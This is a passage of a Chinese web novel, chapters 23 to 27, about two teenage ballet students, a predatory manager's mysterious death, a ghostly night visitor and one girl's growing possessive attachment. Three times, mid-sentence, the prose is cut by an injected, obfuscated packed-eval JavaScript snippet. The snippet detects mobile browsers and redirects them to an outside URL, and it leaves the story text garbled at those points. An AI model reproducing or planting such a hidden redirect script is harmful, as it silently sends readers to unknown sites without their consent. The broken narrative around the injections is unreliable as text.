“我很抱歉，没有早点对你说这些，我不是这么诚恳的人。” “可是我发现，如果不对你诚恳，好像就会失去你了。” 珍星伸出手，自顾自地拉住她的手，做着最后的总结。 “素熙，我只是想你了。” 素熙抱住她，嚎啕大哭。 “好痛，珍星，我好痛。” 可是，是你来了，我才有资格痛。 比起死亡的召唤，因为先听到的是你的声音，所以我才能活下来。 “咕咕咕——” 在这个煽情的时刻，珍星的肚子却打起鼓。 “我——” “噗——看来珍星你真的很想我了。” 素熙抹掉眼泪一瘸一拐地拉着珍星起来。 “我带你去附近吃东西吧。” “然后，我们再好好聊天吧。” 素熙笑起来，哭和笑在一瞬间转换，却没人会说她在演戏。 她的真心，因为珍星长出了血肉。 23. 风筝 是夜，月寒如霜，乌云渐起。 一间公寓外，一棵树，盘旋一只黑鸟，上了一只黑猫。 黑猫去捕猎，捉住了树上的幼鸟和树下老练的鼠。 “咚咚咚——” “谁啊？” 从公司回来的经纪人边打开门，边问，他倒不是没有防备意识。 而是透过门框猫眼上看见了一个意想不到的身影。 细想，倒也合理。 “你怎么来了？你不是不做练习生了吗？” 大腹便便的经纪人靠在门边，试图给自己添加几分帅气，他只看一眼就知道对方的目的。 “想求我？” “在公司不给我脸面的时候，有想过后果吗，素熙xi？” 黑长直的头发随着楼道口涌起来的一阵风而四处张扬，经纪人低头看见她在笑。 “请你帮帮我吧，经纪人nim。” 素熙伸出手，捧在身前，正如经纪人所预料的那样。 请求他再给自己一个机会。 经纪人抹了一把脸，又看了看门外黑漆漆一片。 “只是嘴上请求吗？说起来，素熙你还没有对我道歉吧。” 经纪人朝她弯腰靠近。 “你想怎么补偿——” “呃——” 合十的双手似乎在那一秒变幻了形状，变成了锋利的爪子。 不安的天空随之打下一道惊雷，闪电照亮了素熙的脸。 在那一瞬间，地面发出了咚地一声巨响。 闪电再亮，亮光打在少女的脸庞上，眼睛一眨。 玻璃窗上，是珍星末班公交车上醒来的侧脸，当她完全背过镜子去看身边的素熙时发现她也正在看着自己。 “素熙，没有休息吗？”珍星在昏暗的车内灯光下也能看见素熙发红疲惫的双眼。 或许太累又经历了生死一线的危及，精神和□□都达到了临界点。 爱笑的素熙也面无表情，话也变少了。 她轻轻摇头，奇怪的是，即使是做这个动作，她的眼睛依旧盯着珍星。 目不转睛。 “不累吗？”珍星有些没话找话。 她伸手轻轻将素熙的头拨在自己肩上，轻声说：“睡一会儿吧，我帮你看着。” 素熙听话地靠着，她的声音也变得很轻。 “我只是想看看你，珍星。” “我已经很久没有这样看过你了，我很想你。” 珍星以为素熙是在说这段日子二人之间的别扭，她轻轻一笑。 “我也很想你。” 在珍星低着头的时候，素熙依旧看着玻璃窗，透过窗户在看珍星的脸。 贪婪又恋恋不舍。 “太久了，珍星。”素熙的声音变得更轻，是因为车内太过昏暗，所以才显得她惨白的面容显得很正常，无人注意。 但这，是不对的。 不过，她什么也没做，听珍星的话靠在她肩上，最后沉沉睡去。 等到公交车到站时，珍星叫她，叫了好几遍素熙才醒过来。 不过，她休息得不错，重新有了活力的素熙和珍星互相搀扶着走下车。 “珍星，你这一次可以来我家吗？” “至少让我为你上点药，我保证，帮你处理完我就送你回学校。” 也许是两个人刚刚才敞开心扉，正是感情升温的的时刻。 珍星不仅没有拒绝，还顺势说：“如果素熙不介意的话，也许我今天可以在你家打扰一晚吗？” 珍星举起手机，已经是很晚的时间了，就算回学校也不是很方便。 “当然好！”素熙高举双手同意，却忘了自己现在的平衡不稳。 太过高兴以至于差点又摔一跤，还好有珍星拉住她。 “小心。” “呜呜，还好有我们珍星。” 素熙扑在她怀里，借这个机会抱住了珍星。 这是一个特殊又不特殊的拥抱，并非是素熙第一次抱住珍星。 但似乎，是珍星第一次回抱住她。 其实不过是一双手的事情，再特殊也不会怎样。 然而素熙高兴地呜咽一声，像小狗狗一样的兴奋，却好像在说，这很棒。 “如果时间能暂停在这里就好了。”素熙感慨着， 珍星挽住她的手，扶着她向前。 “如果停在这里，我就没办法跟素熙你回家咯。”她回头对着素熙笑。 这样的玩笑话，因为说得太大方让素熙愣神。 反应过来后，素熙笑哈哈地勾住珍星的脖子。 “那还是不要停止，我要立刻带珍星回家。” 回家之后，点开灯，素熙还没来得及为珍星介绍。 就发现沙发上的女人冷冷开口。 “朴素熙——” “妈？你怎么回来了。” 素熙妈妈在家的日子比不在家的日子少太多，以至于素熙都习惯母亲不在家这件事。 眼下听见母亲严肃地叫自己的全名，心里暗叫不好。 虽然挨骂这件事情并不重要，可至少，不要发生在自己带着珍星回来的这一天吧。 素熙让珍星在玄关处等一等，自己一瘸一拐地走过去。 脸上带着讨好的笑容：“妈妈，你不是在外出差吗？” 素熙以为妈妈要怪自己，她想着，是不是那个娱乐公司的经纪人给母亲打了电话告了自己的黑状。 毕竟昨天她们被骗去乡下演出的时候，经纪人就联系过大家的父母，他有母亲的联系方式。 小肚鸡肠的经纪人肯定不会咽气。 谁知素熙妈妈并未责怪她什么，而是一把抱住自己的女儿，有些后怕地重复着。 “你没事真的太好了，素熙，妈妈刚才真的很害怕。” “给你打电话也不回，你那个公司又出了这种事情，你没事吧？” “怎么受伤了？是不是被你那个经纪人害的？” 妈妈虽然没有责怪自己，但素熙也听不懂她的话。 “妈妈，我没事。腿也没事，只是不小心摔倒了。” “你刚刚说的是什么？” “你不知道？昨天给我打电话说你不回来的那个经纪人，在刚刚死了。” “警察给我打电话调查，小律的妈妈也给我打电话。” “她说那个人不是个好东西，专门欺负你们这些年轻姑娘，是个惯犯。” 得知经纪人离奇死亡这件事，素熙心中反而没有太多惊讶。 唯一的讶异，也不过是发现，绝不会咽下气的经纪人居然以这种方式真的咽气了。 这方式，挺不错。素熙一边接受着母亲的安慰，一边想着。 既然自己不挨骂了，素熙赶紧将珍星接过来，简短迅速地和母亲说清楚原委后，她领着珍星上楼进入自己的房间。 珍星则是在走前不忘礼仪，朝着素熙妈妈鞠了一躬。 素熙妈妈并未看她，但还是露出了客套的笑容。 “请好好和我们素熙玩吧。”她的话本身没什么歧义。 因为她的傲慢是直接的，只需要一眼就能看出珍星的家境和性格。 她笃定珍星对于素熙而言，不过是和之前一样买了就丢的玩偶。 至于朋友关系，素熙从小时候就喜欢找那些边缘人做朋友。 眼前这个女孩，又有什么不同呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644434|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以她的话，本意应该是：好好陪我们素熙去玩吧，这是你对于我们唯一的价值了。 然而，今夜无人在意素熙妈妈的话和表情。 她们之间，暂时插不进任何人了。 素熙先走进房间里，临到门口，她一改刚才的激动。 将珍星留在门外。 “珍星可以先不要进来吗？” “因为我、我要先检查一下房间，稍等我一下哦。” 珍星猝不及防地对上素熙关上的房间门，觉得又好笑又没话说。 “呀，你这么正经么。” 在那个瞬间，珍星想要脱口而出的话是：“以后要是带你去我家，岂不是我也要先收拾好房间？”可她终归，没这样说。 因为浑身温热的血液，总会在无人时陡然凉下来。 她需要冷静，珍星一直都需要冷静。 但她还没有想太多，门又打开，素熙伸手将她拉进来，第一件事情就是两个人一起躺在床上。 素熙发出常常一声呼吸——呼——啊—— “好舒服。” 只是躺在床上就很舒服了，珍星和她一起陷在软软的床里，这感觉更好了。 不过，她们不能就这样睡觉。 于是素熙先一步坐起来。 “珍星介意穿我的睡衣吗？”素熙拉开衣柜门转头对珍星一笑。 “介意也要驳回，我会给珍星你找一件最适合你的。” 素熙钻进衣柜翻找起来，珍星则慢慢扫视着整间屋子。 并不乱，反而太干净，显得很空旷。 总让人觉得，这不是本貌，或者说藏着些什么。 仔细往书桌上看去时，珍星看见了格子上的奖杯，不由得出神起来。 直到素熙捧着衣服过来，手掌在珍星眼前晃了半天才让她回神。 “珍星在看什么？”素熙顺着她的方向看过去。 “哦——是这个吗？”她放下衣服，走过去把奖杯拿过来。 “珍星在看这个吧。”素熙浅浅一笑，随即将奖杯放在她手里，看见珍星一寸寸抚摸奖杯时，素熙开心一笑。 带上回忆的表情，慢慢说：“说起来，关于这个，我有一段很浪漫的故事哦。” “浪漫？”珍星抬头看她，不知道是惊讶还是疑惑。 但总归没拒绝素熙的分享，当素熙说完自己视角下和珍星的又一次相遇时，珍星的脸上虽然挂着笑，但却不是一种心意相通的笑容。 而是疑惑。 “这样吗，原来素熙是这样看待这个故事。” “珍星也有类似的经历吗？”素熙好奇地问。 她看着珍星又一次用手指碰上刻着自己名字的地方，心里很满足。 不枉她刚才刻意将这个东西从床下找出来放在桌上，确保珍星一定能看见的位置。 而珍星如她所想的一般，对这座奖杯有了反应。 “没有。”珍星摇头。 “可是你刚才的表情明明就有什么吧？”素熙有些不服气。 珍星将东西放在桌上，似是而非地说：“我只是对素熙感到羡慕。” “羡慕你什么都能做得很好。” 珍星背过身不看她，静坐了一会儿之后拿起衣服，去了卫生间。 “我先去换衣服吧。” 留下的素熙躺在床上又开始叹气了。 热情是她，冷漠也是她。素熙不知道原因，她不知道珍星忽冷忽热的依据是什么。 只知道，此刻于她而言是失控的场景，更觉得自己只是珍星手里的一块风筝。 随意地被放飞，被收回，被丢弃。 素熙不想这样，至少，不能一直这样。 24. 乌鸦 【珍星，我的珍星，我不知道是否可以这样叫你，尽管我常常都这样称呼你了。可是你一定知道的，牵引我的绳索在你手中，我会围着你绕圈，也许你会说我疯了，可是珍星，我不想离开你，也不想你对我那样若无其事，珍星，我的珍星......】 少女修长的手指在按键上纠结地拼音，身边的人偶然听见她嘴里的嘟囔。 “怎么了素熙？” “嗯？我没事呀。只是在编辑发给朋友的消息。” 虽然笑得很正常，但刚才被身边人瞥见的侧脸却很紧绷。 “只是普通朋友吗？”年纪相仿的少女从她的微动作分析出了相反的答案，却并未直接戳破，只是这样问她。 “这个嘛......”素熙犹豫起来。 “暗恋对象？”谈起这些事情，少女的脸庞张扬起来，似乎颇有心得。 “喜欢一定要大胆说出口。不然的话......” “不然？”素熙被她欲言又止的话勾起对话。 "不然，就会被别人抢走哦。" 素熙低下头，让头发挡住自己的脸。 她好像说了什么。 但此时已经来了工作人员在催场，身边的女孩子也不好再追问。 但想想也很简单，应该是为这句话升起了危机感吧。 害怕失去什么的，这样的情感实在很普遍。 为此而变得扭曲的也大有人在。 事实却并非如此，当珍星从卫生间回来，素熙已经将奖杯放在了不显眼的地方。 素熙自己也在另一个洗手间里洗漱完，坐在床上的她，像个没事人一样抱着珍星躺回床面。 “我们睡觉吧。”素熙的直接反而会让珍星感到无措。 在起雾的镜面上做了半天心理准备，预想素熙会对自己的进行追问，珍星不想自己在接下来说出冰冷的话，然而，她似乎就是这样的人。 不想用确切的语言描述自己的真正意图，所以宁愿用简短的对白被误会。 可是，珍星不想素熙误会自己。 然而素熙，什么也没问，珍星感受着她平稳的呼吸，后知后觉地想，其实她们今天很累了。 只是有的人越累想得越多，有的人累了只想倒头大睡。 她与素熙便是这样的两方。 于是珍星闭上了眼睛，并且主动地伸出手拉住了素熙的小拇指。 “晚安，素熙。”珍星安然睡去。 素熙的呼吸声也依旧平稳，这看起来，是一个好梦之夜。 屋外飞过一只乌鸦，黑色的鸟无人分辨，但它的确是乌鸦。 是守护神也是不详，乌鸦究竟如何，全靠人的一张嘴来界定。 当乌鸦遮住月亮时，才能露出床上的素熙，闪着光的双眼。 她是谁，是乌鸦还是狐狸？ 那道红光一闪而过，素熙闭上了眼睛，脑海里回荡起在乡间演出时，候场的同行女孩说的话。 而她的回答，并不是惴惴不安。 “我不会的。” 我不会让珍星被谁抢走。她自信也肯定。 所以，那条编辑的短息永远也不会有发出去的机会，不管有没有那个经纪人的干扰。 每个人都有点小秘密。 临睡前，素熙眼里一闪而过妈妈的话。 经纪人死掉了？为什么呢？ 但这和她实在没什么关系，素熙闭上眼睛，甜蜜地握住珍星的手指。 晚安，珍星。她无声地说。 夜晚似乎下起了雨，又一道惊雷摔在天空中。 珍星也被雷声惊醒，睁开眼之后呼吸又是一滞。 “素熙——你——” 素熙直勾勾地看着自己，看起来一直没睡，她的眼神可以说是无神。 也可以说是冰冷，被这样注视着的珍星，有一丝害怕。 但她还是问：“不舒服吗？是不是睡不着了。” 珍星看了看窗户，发现窗户被风吹开。 “是因为窗户打开了，冷到你了吧。” 珍星走下床，想去把窗户关上，外面风很大，她差点拉不住。 怪不得会把窗户吹开，珍星想到这里倒也觉得正常。 “好冷哦。”她试图说点什么驱散掉心里这点不适。 亮白的闪电又一次袭向天空，电闪雷鸣时，窗户又被吹开。 “啊！”这一次，珍星害怕地惊呼一声。 但并不是因为被吹开的窗户或者屋外的雷雨。 而是一双突然出现在自己腰上的手，一点点收紧，珍星恍惚间几乎忘记了如何呼吸。 那是一双苍白的手，低头看去时，黑色的发丝又在脖子上纷扰，很痒。 也觉得冰凉，在下一秒，脸边贴上了柔软的物体，冰块的寒气呼在她脸上。 那是一张人脸。 “珍星——” “你是什么......” 珍星本以为这是素熙，可余光能看到床上的素熙躺下的身影。 “你是什么东西？” “鬼吗？”珍星不知自己是怕还是不怕，也许是太害怕，而麻木了情绪。 那人或者说那鬼的脸轻轻在她的脸边和脖子上碰着，沉默无言。 她是冰凉的，身上是湿漉漉的，不断有水珠留在珍星的身上，衣服上。 “你想做什么？” “是我对你做了坏事吗？”珍星不断说话，试图和她交流。 却一无所获，最后向她袭来的冰雪般寒冷的嘴唇，深深地在她的后颈上咬下一口。 “找......到......” “你了......” “珍胜。” 她叫自己珍胜，而非珍星。 “你是谁？” 珍星问她，回应自己的只有关不上的窗户外飘进来的雨花。 水的拍打让她恢复清醒，低头发现腰上什么也没有，后脖子上也并未出现凹进去的齿痕。 一切就只是她方才的幻觉。 这一次，她锁上了窗，回到了床上。 睡得正香的素熙迷糊地捧住她的一只手，嘟囔着问她：“怎么了吗？” “睡吧。”珍星呆呆回应一句，闭上了眼睛，仍觉得寒气逼人。 但她不敢再睁开眼，只能紧紧抓住自己能抓住的东西。 于是第二天，珍星是在素熙怀里醒过来的。 醒来时她还紧紧抱着素熙的腰，早醒来的素熙也没有动，静静看着这样依赖着自己的珍星。 没人能将我们分开，她淡淡地想。 感受着珍星不稳的呼吸，意识到她即将醒过来，素熙摆出元气满满的笑脸。 “早上好！珍星！” “睡得好吗？我们去洗漱吧。” 素熙伸手将珍星拉起来，兴冲冲地推着她下床，自如地和珍星在一块。 脱离了练习生这个身份，素熙终于回归了悠闲自在的生活，早上是不会因为睡不醒而险些迟到的。 甚至因为妈妈在家，今天一下楼就能吃到早餐，而且，珍星就在她的身边。 这一切都让素熙感觉非常棒。 两人吃完早餐也还有大把时光，因为今天是星期天。 不过，素熙并没有趁机提出一起去玩的邀约。 因为—— “珍星，拜托你帮我补习舞蹈吧。” 素熙双手合十对着珍星撒娇，昨天没能做好的事情，今天她会一丝不苟地完成。 “对了，我们叫上素熙一起吧，我都不知道她的作品完成到什么程度了。” “那个嘛，素熙好像换作品了。”珍星适时补充。 素熙很惊讶。 “诶？为什么换了。” “难道，是因为我老是缺席，所以才没办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们自己好好准备，可以向我提问，不过别指望着我会帮谁。” “如果没有自己感受音乐的能力，跳好芭蕾也不过是在做梦。” 金老师这样说之后，素熙反而因此更加专注于练习生活了。 不过好在，对于她而言，一切都不晚，一个上午过去就已经学会珍星几番改动后的舞蹈。 至于原本说好的曲目改动倒是放弃了，有人问过金老师这个问题，她只说不重要的问题少去问她。 这话就是说舞蹈编排是最重要的，其他的不值得大家花太多心思，这也方便了很多。 至于布景准备，珍星拜托了惠珠。 想到这一点，珍星倒是觉得今天的确有必要和惠珠见一面了。 素熙透过窗户看见了走下台阶的惠珠，高兴地对珍星说：“我看见惠珠了，她快到了。” 珍星也对她笑，只是恍惚间，她感觉脖子凉凉的，后颈猛地疼痛。 仿佛是昨夜鬼魅留下的齿痕在尖叫。 “怎么了，不舒服吗？”素熙回头发现了不对劲的珍星。 没走几步，惠珠推开门说了一句：“我进来了。” 霎时间，珍星的幻觉消失了，她因此朝着惠珠看过去。 素熙微妙地偏转着头，看着两个人，她不懂那一刻珍星那种如蒙大赦的状态是什么问题。 再去看惠珠，她似乎没什么变化，而珍星却说：“喔！你瘦了好多！” 素熙也跟着惊讶，惠珠被两人逗笑。 “有、有吗？” 是啊，有吗？是因为素熙还是错过了太多，所以她才觉得惠珠其实根本没变吗？ 26. 暑假的一天 【如果有一天我们会死掉的话，我想让珍星陪着我一起。就像我陪着你那样，换你来好不好珍星，我需要你，我很需要你......噗嗤，珍星你一定害怕了吧，这只是个玩笑。不好笑也没关系，珍星你不要害怕我。】 素熙那条未发完的短信实在太长，长到她没有办法重新回看一遍。 但她知道不可以真的发给珍星。 为什么呢？ 或许是因为现在已经是盛夏时分，这条秘密短信已经过时了。 嗯，一定是这样。 素熙来到釜山小岛的第一天，跌跌撞撞，四处询问找不到珍星的所在。 正当她累得只能靠着一棵大树休息，暗自猜想着是不是她找错了地址。 “可是金老师告诉我的地方，明明就是这里。” 素熙打开手机记录的地点，具体到某个村的名字，而她身边就写着村名牌子。 “您好，请问你知道宋珍星家在哪吗？” “磨叽？真行？没有、没有这个人。” 耳背的大爷虽然很热情地向素熙描述，但本地魔性的方言，让他的回答大打折扣。 也并没有很好理解。 正值中午最热的时候，即便躲在大树下，也依旧被热气包裹，和这里比起来略冷的首尔让素熙判断错了天气，她还穿着不薄的外套。 现在只能将外套系在腰间，才能勉强凉快一些。 更重要的是，她好渴。 “好想喝水......” 热得要出现幻觉之前，耳边响起清淋淋的铃铛声。 被吸引着转身的素熙看见一辆自行车，车座上的女生，正是她的珍星。 她正在寻找的珍星。 “珍星呐！”素熙一边招手，一边向她跑过去。 太过激动反而没有意识到，自己奔跑的轨迹，很危险，直直冲向了自行车车头。 而当素熙意识到自己要被撞到的时候，她已经躲不过了。 “滋滋——” 车轮胎在黄沙地上发出怒吼，像一头嘶吼的骏马，驾马寸止停下的珍星将军翻身下来，扶住了重心不稳的素熙。 那是一个漂亮的漂移停车，但是车还是朝着一边倒下。 没有踩下脚踏的珍星却没有管这些，她紧紧抓着素熙的手。 “哦莫！” “素熙你怎么会来？” 素熙还没有回神，她还沉浸在珍星帅气干脆的身姿中。 爱情小说里不乏有这样的男主角，酷帅飒爽的赛车手，发动机嗡鸣声是其自信心的外化。 可是珍星比那样的主角更厉害。 “素熙你的脸好红，是不是太热了。” 珍星扶起倒下的自行车，从车筐的购物袋里拿出一瓶水。 “快来喝点水。” 咕隆隆吞进肚子里的除了矿泉水，好像还有素熙的理智。 “素熙是特地来找我的吗？” “嗯......” “不会太远吗？” 珍星望向远处的大海，一望无垠。 也许素熙被刚刚的危险吓到了，珍星察觉到她的呆滞。 “那素熙先跟我回家吧。” 珍星牵着素熙来到自行车上。 “请素熙小姐，坐在我的后座上吧。” 她扮演起了马车夫，恭敬地向素熙行礼。 回过神来的素熙笑起来。 “呀，珍星你演得真的很像诶。” 在家里的珍星穿得很朴素，上衣裤子都是深蓝色，是比较耐脏也很耐穿的工装套装。 脚下踩着一双黄色长筒胶鞋，看起来，她原本是要去海边，或者有水的地方。 但素熙却觉得她的穿搭有一种随性的美。 坐在珍星的身后，是一种很奇妙的感觉，无论是从前在教室后座，还是现在珍星的身后。 不同的是，从前只能望着她的背影，而现在可以自然地圈住珍星的腰肢。 忍不住抱紧，再抱紧一些，可是继续这样下去，只会让珍星感到不能呼吸。 于是素熙的手松开了一些。 同时她悠闲自在地回答珍星一路上的各种问题。 “不用担心啦珍星，我跟妈妈说过了。” “她不会拦着我，我们可是好朋友。” 恍然间好像看见了两边树丛里跳跃着一只野猫。 野猫，还是狐狸？ 总之，素熙因为突然出现的生物吓了一跳，虽然回神发现，什么也没有。 但是，也许她听见了野猫对自己说的话。 “骗人。” “素熙在撒谎。” 好吧好吧，其实妈妈并没有很同意素熙来找珍星。 说直白些，简直就是完全不同意。 “去釜山？” “我应该有告诉过你，这个学期结束后直接飞到法国去。” “从那边的暑期衔接班上起，下学期直接在那边读书吧。” “我不想去，我不想去可以吗，妈妈？” 素熙一开始是笑着央求。 “你还要去找那个第二名？那个叫，珍欣的？” “妈妈，她的名字叫做珍星，珍宝星星。” 其实比起叫错珍星的名字，更加让她无法忍受的，是妈妈言语之间对于珍星的忽视。 “珍星是我的好朋友。” “你从前也有很多好朋友，如果她也拿你当朋友，她会祝福你去更好的地方。” “比起就这样默默无名地跟她待在一起，甚至抢走她的机会，你去法国，对你还是对她都很好，不是吗？” 原来妈妈并不只是在珍星面前也咄咄逼人，而是在谁面前都这样。 其实素熙听见了办公室里妈妈和珍星的谈话，那时，她几乎没忍住冲进去。 可是，妈妈说的有什么问题呢？ 现实似乎就是这样，珍星也不止一次因为自己，感到遗憾了。 “不是这样的，妈妈。” 可是，并不是这样的，珍星是不一样的。 “她和别人有什么不一样吗？” “我不会抢走属于珍星的机会，我不会的妈妈。” “因为珍星会超过我，她一定会超过我。” 这是素熙可以预见的未来。 “那你怎么办？真的遇上了二选一的事情，你要怎么办？到时候你们不是什么朋友，是敌人你知道吗朴素熙？” “我会去死，这样的答案，您满意吗？” 素熙是突然爆发的，她紧绷的神经终于在妈妈说的这些猜想情景里尽数爆发。 “如果没有珍星，我会死掉。” “朴素熙！” “你才多大，你不过十七岁而已，什么都不懂的年纪。” “你就要用这些话来威胁我吗？” 在母亲眼里，她一如既往是个有着三分钟热度的小孩，她嘴里的狠话总是要大打折扣的。 “如果你要这样逼我，那就随便你吧。” 母亲被她的话伤到了，接起电话就继续处理着业务，没几分钟就提着沙发边的旅行包走出去。 她原本也是要走的，只是现在，更像是被素熙气走的。 重重的关门声宣告着素熙的胜利。 “我没有骗人。” 素熙在静悄悄的屋子里这样说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644437|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“骗人的吧？” “素熙你真的一个人从海边走过来吗？” “很远的诶。” 珍星拿来家里招待客人的食物，一边为饥肠辘辘的素熙夹菜，一边接过她手中的碗去添饭。 “才没有骗人，我真的是一个人走过来。” “我走了好久，脚都磨起泡了，超级可怜的。” 素熙的嘴巴虽然在向珍星解释，但眼睛却在餐桌上的食物恶狠狠地盯着。 然后，伸手夹住自己想吃的菜。 饱餐一顿后，素熙恢复了精力，主动提出要跟珍星一起出门。 “不用啦，妈妈刚刚给我打过电话，她听说你来了，让我一定好好招待你。” “素熙你一来我就可以休息了，你真是我的救星。” 珍星将素熙带到自己的房间，很干净也没多少东西的一间屋子，仿佛只是为了给主人用来睡觉，并不会充当一个秘密基地的角色。 珍星又打开衣柜为素熙铺起地铺，粉色的枕头，粉色的被子。 像是一颗水蜜桃，像珍星眼里的素熙。 “我们先休息一会儿吧。”珍星冲着素熙眨眼。 “这一次，轮到素熙穿我的睡衣咯。” “超级好！”素熙举起手欢呼。 “什么啊，素熙这样好像邻居家的小狗狗。”珍星被她逗笑了。 “我就是珍星的小狗素熙，汪汪。” 素熙扮着小狗狗扑到了珍星，珍星笑得发抖，最后靠着双手捧住素熙的脑袋，才让她能停下来。 “小狗素熙请休息吧。” 这是很快乐的一天，除了傍晚珍星载着素熙去附近闲逛，素熙好奇地提出想要骑骑看自行车，结果却一头开进了玉米地里，可怜兮兮地栽在玉米地里，扭伤了脚踝。 “痛——” “哦，你这个摔得有点严重哦，可能好几个月才会好。” 乡里的老中医涂了一些药油，绷带缠住受伤的位置，中西结合，效果极佳。 听说素熙是从大城市来到这里做客的孩子，老中医还送了一副拐给她。 “欢迎来玩呀。” 别具一个的好客方式的确让素熙印象深刻了。 “素熙要来玩多久呢？” 夜晚的时候，珍星这样问素熙。 这让素熙想了很多，是不是珍星想赶她走了。 白天妈妈说的话，又再一次涌上心头。 她对于珍星而言，是敌人，是阻碍她前进的存在吗？ 素熙沉默了。 “我这一整个暑假都没有事情哦。” “素熙可以在这里待到开学位置，如果你愿意的话。” 珍星轻轻地说。 她转过头不敢看素熙，似乎是觉得不好意思。 自然也看不到素熙亮起来的眼睛。 从什么时候起，她们之间的关系发生了变化呢，素熙变得患得患失，而珍星却越来越向往起她们的未来。 “小英不要听这个，好无聊。” 正在厨房做饭的珍星无暇顾及小英，于是就由院子里的素熙代为照顾她。 这个爱听故事，却有着严苛标准的小女孩对于素熙半遮半掩的故事一点也不感兴趣。 “大姐姐的一天好无聊哦。” “哪里无聊了，我和珍星姐姐的生活明明很快乐吧。” “感觉和我爸爸妈妈每天的日子一样，超级无聊。” “诶！小英你......” 素熙原本是逗着她，结果反而被小孩子诚实的话语给逗着了。 “什么爸爸妈妈的啊......”素熙小声嘟囔，脸上却乐得不行。 27. 琴键29 刚开始在舞蹈老师手下学舞蹈的时候，珍星的父母其实并不期待什么，只是希望老师能帮忙照顾自己的孩子。 比起真正的艺术班，她的父母更希望老师是育幼老师。 所以，常常在老师家待很久的珍星会拿着自己的童话书，反客为主地霸占老师的椅子。 却又对着老师露出可怜的表情。 “老师，我想听故事。” “童话故事书？我都忘记了，小珍星你还只是一个小宝宝。” 不练舞的时候老师对她的要求鲜少有拒绝的，于是老师一边抱着小珍星，一边为她讲起故事。 “很久很久以前，海里有位美人鱼公主，一直向往着人类生活。 偷偷冒出海面的她，救了一位人类王子，并决定用自己美妙的歌喉和靓丽的鱼尾为自己换来一次上岸成人的机会......” “这是个有名的童话故事呢。” 钢琴边的镜子能看见老师笑起来时温柔的侧脸，仿佛就是珍星那本童话书上画着的人鱼公主。 沉迷在老师美貌的珍星，似乎并没有听清老师接下来说的话。 “可是亲爱的，也许她并不甘心化为天明前的一串泡沫。” “什么？” 珍星试图离老师近一些听清她的话，但老师已经从刚才的状态里抽离出来。 她牵着小珍星走到那边镜子前。 “珍星，你看。” “看什么？” “我脸上长痘痘了。”是素熙正侧着一边脸，哀怨着指着脸上的某一块地方。 上面有一颗红得透明的痘痘。 “是不是最近太上火了，晚上我给你炒几个青菜。” “不要，我还想再吃辣炒鱼饼。” “求求你了，珍星nim。” 素熙额前的头发用珍星的柠檬黄星星发卡撇在侧边，像一颗橙子，这让她说出来的话让人觉得酸酸甜甜，好笑又好气。 “即使再长痘痘也要吃吗？” 来到珍星家已经有一段日子了，虽然每天和珍星在一起都很开心。 但素熙也有感觉违和的地方。 那就是，在家的珍星，完全没有去练习芭蕾。 这是为什么呢？ “是不是因为我这段日子以来太缺乏运动了。” 素熙从穿衣镜前离开，来到珍星身边，她正在给窗台上的小绿植浇水，一派闲适。 “等会儿吃完饭，我们找个地方去练习芭蕾吧。” 按理来说，这对于珍星应该是一个很有吸引力的提议。 在学校的时候，往往都是珍星这样提议，而素熙找借口想多休息一会儿。 “嗯，素熙觉得无聊了吗？” “没、没有啊。我就是有点好奇。” “好奇什么？” “珍星你不是有一位舞蹈老师吗？怎么没见你去找她。” 素熙自然地提起这件事情，等到说出口之后，才想起来那个死去的女生，之前曾经说过——“宋珍星克死了她的老师”这样的话。 素熙惊觉自己说错了话，正在想办法找补时，却没想到，珍星的在意点并不是这个。 “素熙，怎么会知道......” “我有老师这件事。” 珍星没有主动告诉过素熙这件事情，至少，在素熙转学过来的日子里。 一个微弱的念头涌上自己的心头。 虽然她和素熙都记得四年前彼此的相遇，但是珍星以为，素熙没有认出自己才对。 “这个、这，珍星你之前应该跟我说过的，是、是你忘了吗？” 素熙有点慌，但还在尽力地笑。 “这样吗，那素熙，我们一会儿去吧。” “去哪里？” 不知不觉珍星已经走到了衣橱边，在里面翻找了几下，拿出两套练功服。 “不介意的话，素熙就穿我的吧。” 不知为何，素熙突然很想问，那你呢？ 可是答案应该是显而易见的，珍星穿手上的另一套就好了。 吃完饭之后，她们收拾好东西，珍星再次骑上车带着素熙朝着比较偏僻的地方开过去。 最开始觉得很荒凉的地方，往里骑了一会儿反而山清水秀起来，再往前，就能看见一间屋子。 “这是，你老师家吗？” 素熙和珍星一起站在门框都腐朽不少的门前。 推开木门，映入眼帘的是一架钢琴，但很久没人弹奏，所以落了很多灰。 但也许因为屋子里的窗户并没有关上，所以里面的空气还算流通，不会让人闻到朽木的味道。 一种令人窒息的阴森气味。 “对，不过老师已经不住在这里了。” “但她走之前有跟我说过，如果我想练舞，随时可以来这里。” 说话间珍星才拿出身上的钥匙，但也没什么用，毕竟大门已经坏到两个人一推就能开的程度了。 珍星熟练地走进另一件屋子里换衣服，素熙则在原地找了凳子坐下。 毕竟还拄着拐杖的她，根本没办法跳舞，说是来练舞，其实是来看珍星跳舞。 